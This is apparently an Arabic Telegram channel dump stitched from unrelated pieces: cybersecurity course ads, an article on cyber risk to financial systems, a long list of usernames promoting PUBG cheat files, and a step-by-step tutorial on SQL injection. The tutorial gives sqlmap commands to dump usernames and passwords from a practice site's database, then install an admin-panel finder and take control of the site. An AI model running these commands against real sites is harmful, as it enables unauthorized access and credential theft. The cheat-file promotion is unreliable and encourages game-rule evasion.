دورة تقنيات الهجوم والإختراق السيبراني


ستتعرف في هذه الدورة على أشهر التقنيات التي تستخدم في الهجوم والاختراق السيبراني مثل تقنية ال phishing، وتقنية ال Sniffing، وتقنية ال SQL Injection، وتقنية ال MITM، وتقنية ال DDOS، وتقنية ال DNSMAP، وتقنية ال RouterSploit. فسواء كنت تحاول فهم أحدث عناوين خرق البيانات في الأخبار أو تحليل حادث في مؤسستك، فهذه الدورة لك.

مدة الدورة: 3 ساعات

اشترك الآن: https://www.edraak.org/course/course-v1:Edraak+KLC+SP-2019/

_______________________
By : www.tg-me.com/Ch_Cyber_Bot
--------------------------------------

دورة مجالات العمل والمسار الوظيفي في الأمن السيبراني



في هذه الدورة، سوف نركز على مسارات النجاح الوظيفي للأمن السيبراني. وسوف نقوم بتطبيق إحساسك المتطور الخاص بالتوافق مع هذه المسارات نحو خطة لإحداث فرق حقيقي في هذا المجال سريع التغير ومرتفع الطلب. سيتخلل هذه الدورة المشورة من أحد المحاضرين الضيوف الذين يجلبون ثروة من الخبرة ووجهات النظر على المعايير التعليمية، واحتياجات أصحاب العمل واتجاهات تنمية القوى العاملة.

اشترك الآن: https://www.edraak.org/course/course-v1:Edraak+CPSC+SP-2019/

_______________________
By : www.tg-me.com/Ch_Cyber_Bot
--------------------------------------

المخاطر السيبرانية ... التهديد الجديد للاستقرار المالي

بقلم : THE YEMENI GHOST

ينظر الكثيرون منا إلى إمكانية سحب الأموال من حسابنا المصرفي وتحويلها إلكترونيا إلى أحد افراد الأسرة في بلد آخر وسداد الفواتير عبر شبكة الإنترنت باعتبارها أمورا مسلما بها. وفي خضم الجائحة العالمية، رأينا مدى أهمية الاتصال الرقمي في حياتنا اليومية. ولكن ماذا لو أدت هجمة سيبرانية إلى تعطيل العمل المصرفي ولم يصل التحويل المطلوب؟

لقد تضاعف عدد الهجمات السيبرانية ثلاث مرات على مدار العقد الماضي مع تزايد اعتمادنا على الخدمات المالية الرقمية، ولا تزال الخدمات المالية هي الأكثر استهدافا. ومن الواضح أن الأمن السيبراني أصبح مصدر تهديد للاستقرار المالي.

ونظرا لقوة الروابط المالية والتكنولوجية المتبادلة، فإن أي هجمة ناجحة على مؤسسة مالية كبرى أو نظام أساسي أو خدمة يستخدمها الكثيرون يمكن أن تنتشر تداعياتها سريعا في النظام المالي بأسره، مما يؤدي إلى اضطراب واسع الانتشار ويتسبب في فقدان الثقة. ومن الممكن أن تفشل المعاملات نظرا لحبس السيولة، وأن تفقد الأسر والشركات قدرتها على النفاذ إلى الودائع والمدفوعات. وفي مثل هذا السيناريو الحاد، قد يطالب المستثمرون والمودعون بأموالهم أو يحاولون إلغاء حساباتهم أو غير ذلك من الخدمات والمنتجات التي يستخدمونها في العادة.



وقد أصبحت أدوات القرصنة الآن أقل تكلفة وأكثر سهولة وأشهد قوة، مما يتيح للقراصنة ذوي المهارات المحدودة إلحاق ضرر أكبر مقابل نسبة ضئيلة من التكلفة السابقة. ويؤدي التوسع في الخدمات القائمة على الأجهزة المحمولة (وهي المنصة التكنولوجية الوحيدة المتاحة للكثيرين) إلى زيادة فرص القرصنة. ويستهدف المهاجمون المؤسسات كبيرها وصغيرها والبلدان غنيها وفقيرها، ويعملون عبر الحدود. ولذلك يجب أن تكون محاربة الجريمة السيبرانية والحد من مخاطرها مسؤولية مشتركة عبر البلدان وفي داخلها.



وبينما لا تزال المؤسسات المالية هي من يضطلع بالعمل اليومي الأساسي في مجال إدارة المخاطر – صيانة الشبكات وتحديث البرمجيات وإنفاذ عملية "نظافة سيبرانية" قوية – فإن هناك حاجة أيضا لمعالجة التحديات المشتركة وإدراك التداعيات والروابط المتبادلة عبر مختلف أجزاء النظام المالي. فحوافز الاستثمار في الحماية غير كافية بالنسبة لفرادى الشركات؛ والتنظيم والتدخل من جانب السياسة العامة ضروريين للوقاية من نقص الاستثمار وحماية النظام المالي الأوسع نطاقا من عواقب الهجمات المحتملة.

ومن وجهة نظرنا، نرى أن كثيرا من النظم المالية الوطنية ليس مستعدا بعد للتعامل مع الهجمات، كما أن التنسيق الدولي لا يزال ضعيفا. وفي بحث جديد لخبراء الصندوق*، نقترح ست استراتيجيات أساسية من شأنها تقوية الأمن السيبراني بدرجة كبيرة وتحسين الاستقرار المالي على مستوى العالم.


_______________
By : Cyber Security
-------------------------------

أقوى ملف ماجيك بوليت+منظور أيباد+90 فريم التحديث 1.5.0 السيزون 20 | بدون باند
↘️↘️↘️↘️↘️↘️↘️↘️↘️↘️
https://youtu.be/dYvK161vY0c

━━━━━━━━━━━━
υѕer : @a1aaar
━━━━━━━━━━━━
υѕer : @c88c82
━━━━━━━━━━━━
υѕer : @uuluum
━━━━━━━━━━━━
υѕer : @zzzfzo
━━━━━━━━━━━━
υѕer : @ttdddz
━━━━━━━━━━━━
υѕer : @giigi0
━━━━━━━━━━━━
υѕer : @vovvvq
━━━━━━━━━━━━
υѕer : @yycyyb
━━━━━━━━━━━━
υѕer : @oottos
━━━━━━━━━━━━
υѕer : @qyyqyp
━━━━━━━━━━━━
υѕer : @oovvvb
━━━━━━━━━━━━
υѕer : @v2v2vg
━━━━━━━━━━━━
υѕer : @ydddy3
━━━━━━━━━━━━
υѕer : @lxxxlq
━━━━━━━━━━━━
υѕer : @ll99l6
━━━━━━━━━━━━
υѕer : @r6r66b
━━━━━━━━━━━━
υѕer : @wbwww4
━━━━━━━━━━━━
υѕer : @pnpppz
━━━━━━━━━━━━
υѕer : @x4xx4w
━━━━━━━━━━━━
υѕer : @bbbhhx
━━━━━━━━━━━━
υѕer : @x6x6x4
━━━━━━━━━━━━
υѕer : @exxee1
━━━━━━━━━━━━
υѕer : @hhqqhh
━━━━━━━━━━━━
υѕer : @qssssn
━━━━━━━━━━━━
υѕer : @jjrrjk
━━━━━━━━━━━━
υѕer : @bqbbby
━━━━━━━━━━━━
υѕer : @dbbddf
━━━━━━━━━━━━
υѕer : @ffxxx4
━━━━━━━━━━━━
υѕer : @b5bb5a
━━━━━━━━━━━━
υѕer : @aapaae
━━━━━━━━━━━━
υѕer : @vvvkkx
━━━━━━━━━━━━
υѕer : @slslsv
━━━━━━━━━━━━
υѕer : @z3z33t
━━━━━━━━━━━━
υѕer : @x66x6q
━━━━━━━━━━━━
υѕer : @cczzz9
━━━━━━━━━━━━
υѕer : @kk5k5g
━━━━━━━━━━━━
υѕer : @kkzkzg
━━━━━━━━━━━━
υѕer : @vvvlvm
━━━━━━━━━━━━
υѕer : @lkkllt
━━━━━━━━━━━━
υѕer : @qqqvvk
━━━━━━━━━━━━
υѕer : @w7w7w3
━━━━━━━━━━━━
υѕer : @iccciy
━━━━━━━━━━━━
υѕer : @aaooo2
━━━━━━━━━━━━
υѕer : @gbggb2
━━━━━━━━━━━━
υѕer : @eee22j
━━━━━━━━━━━━
υѕer : @xqqxqd
━━━━━━━━━━━━
υѕer : @hchhht
━━━━━━━━━━━━
υѕer : @ssqqsk
━━━━━━━━━━━━
υѕer : @uuuhuk
━━━━━━━━━━━━
υѕer : @mumuuc
━━━━━━━━━━━━
υѕer : @y5y556
━━━━━━━━━━━━
υѕer : @uyuuux
━━━━━━━━━━━━
υѕer : @zz8zze
━━━━━━━━━━━━
υѕer : @lallax
━━━━━━━━━━━━
υѕer : @gggogc
━━━━━━━━━━━━
υѕer : @prpppe
━━━━━━━━━━━━
υѕer : @vv55vq
━━━━━━━━━━━━
υѕer : @e2ee2p
━━━━━━━━━━━━
υѕer : @xkkkxw
━━━━━━━━━━━━
υѕer : @tttmtp
━━━━━━━━━━━━
υѕer : @iiiii8
━━━━━━━━━━━━
υѕer : @dddd38
━━━━━━━━━━━━
υѕer : @k22k2y
━━━━━━━━━━━━
υѕer : @m11m1m
━━━━━━━━━━━━
υѕer : @n22n2n
━━━━━━━━━━━━
υѕer : @llvlvj
━━━━━━━━━━━━
υѕer : @sslsl3
━━━━━━━━━━━━
υѕer : @cppppw
━━━━━━━━━━━━
υѕer : @fefeey
━━━━━━━━━━━━
υѕer : @u00uup
━━━━━━━━━━━━
υѕer : @yyyiyd
━━━━━━━━━━━━
υѕer : @upuupd
━━━━━━━━━━━━
υѕer : @qqqaqd
━━━━━━━━━━━━
υѕer : @hhthhl
━━━━━━━━━━━━
υѕer : @ppoopi
━━━━━━━━━━━━
υѕer : @zzzffu
━━━━━━━━━━━━
υѕer : @sccsse
━━━━━━━━━━━━
υѕer : @udddul
━━━━━━━━━━━━
υѕer : @ttrrtj
━━━━━━━━━━━━
υѕer : @zzzgzc
━━━━━━━━━━━━
υѕer : @uuoouv
━━━━━━━━━━━━
υѕer : @aavavr
━━━━━━━━━━━━
υѕer : @beebez
━━━━━━━━━━━━
υѕer : @sswww1
━━━━━━━━━━━━
υѕer : @anaan8
━━━━━━━━━━━━
υѕer : @kkaakw
━━━━━━━━━━━━
υѕer : @ikiik1
━━━━━━━━━━━━
υѕer : @ww222h
━━━━━━━━━━━━
υѕer : @f0f00h
━━━━━━━━━━━━
υѕer : @ssmsms
━━━━━━━━━━━━
υѕer : @heehh0
━━━━━━━━━━━━
υѕer : @uuxux6
━━━━━━━━━━━━
υѕer : @ttggtj
━━━━━━━━━━━━
υѕer : @vvmmm1
━━━━━━━━━━━━
υѕer : @kkkk4e
━━━━━━━━━━━━
υѕer : @xxxffs
━━━━━━━━━━━━
υѕer : @zz99zq
━━━━━━━━━━━━
υѕer : @yyyyyp
━━━━━━━━━━━━
υѕer : @tttntt
━━━━━━━━━━━━
υѕer : @yxyyx7

ملف الكونكر التحديث الجديد مع تفعيلات وحشيه بدون باند
↘️↙️↘️↙️↘️↙️↘️↙️↘️↙️
https://youtu.be/ZeA-yKdhFIQ

قبل ان نكمل ...

ثغرة Sql injection تتواجد غالباً في قواعد البيانات المبنية بلغة PHP
باسم MySQL


المواقع المصابة بهذه الثغرة غالباً تكون بهذا الشكل

http://testphp.vulnweb.com/artists.php?artist=1

ركزوا على هذا الرابط

يوجد به php وبجانبه علامة استفهام ? معظم المواقع المصابة بالثغرة ستكون بهذا الشكل وليس جميعها

للتأكد من ان المواقع مصاب سنضيف في نهاية الرابط علامة ( ' )

هكذا

http://testphp.vulnweb.com/artists.php?artist=1'

#الشرح_الاول سيكون عن طريقة الكشف عن المواقع المصابة بثغرة Sql injection واختراقها عبر اداة Sqlmap

اولاً عليكم تثبيت اداة Sqlmap

يمكنكم تثبيتها على الكالي لينكس وعلى termux ان كنت تستخدم اندرويد


pkg install git

pkg install python2

ان كنت قد ثبتت هذين الامرين 👆سابقاً فلا داعي لكتابتهم الأن

امر تثبيت الاداة
git clone https://github.com/sqlmapproject/sqlmap.git

امر فتح ملف الاداة
cd sqlmap

امر تشغيل الاداة
python2 sqlmap.py -h

ستنتظر حتى تنتهي الاداة من جمع المعلومات عن الموقع

عند الانتهاء ستكتب امر استخراج المعلومات من قاعدة بيانات الموقع

python2 sqlmap.py -u (رابط الموقع) -D acuart -T users --columns

هكذا
python2 sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns

ستظهر معكم معلومات من قاعدة البيانات الخاصة بالموقع

ستكتب الأن هذا الامر لاستخراج اليوزر والباسورد من قاعدة بيانات الموقع

python2 sqlmap.py -u (رابط الموقع) -D acuart -C uname,pass --dump


هكذا

python2 sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -C uname,pass --dump

الأداة الأن استخرجت
اسم المستخدم وكلمة سر الموقع

Uname: test

Pass: test

http://testphp.vulnweb.com/login.php

ستذهب الأن الى لوحة التسجيل في الموقع وتضع اسم المستخدم وكلمة السر ثم ستدخل الى لوحة تحكم الموقع وتتحكم بالموقع كما تشاء

الشرح 2 : طريقة الحصول على رابط لوحة تحكم الموقع ...


سنستخدم في هذا الشرح اداة admin-panel

امر تثبيت الاداة هو

git clone https://github.com/bdblackhat/admin-panel-finder

طبعا يجب ان تكون قد ثبتت سابقاً هذين الامرين
pkg install git

pkg install python2

كما تشاهد في الصورة

اول شيء قمت به هو فتح الأداة
عبر امر cd

ثم كتبت ls لأتأكد من ان الاداة تملك الصلاحيات

ثم بعد ذالك قمت بتشغيل الاداة بالأمر

python2 admin-panel_finder.py

هنا يطلب منك رابط الموقع الذي تريد ان تبحث عن لوحة التحكم الخاص به

انا قمت بوضع الموقع الذي شرحت يوم امس عنه ثغرة ال sql وهو هذا الموقع

http://testphp.vulnweb.com

لاحظ ان الاداة لن تعمل ان كتبت الرابط مع ال http://

لهذا عليك كتابة الروابط بدون http

هكذا
testphp.vulnweb.com

هنا قامت الاداة بإستخراج 4 روابط

هذه روابط التسجيل في لوحة تحكم الموقع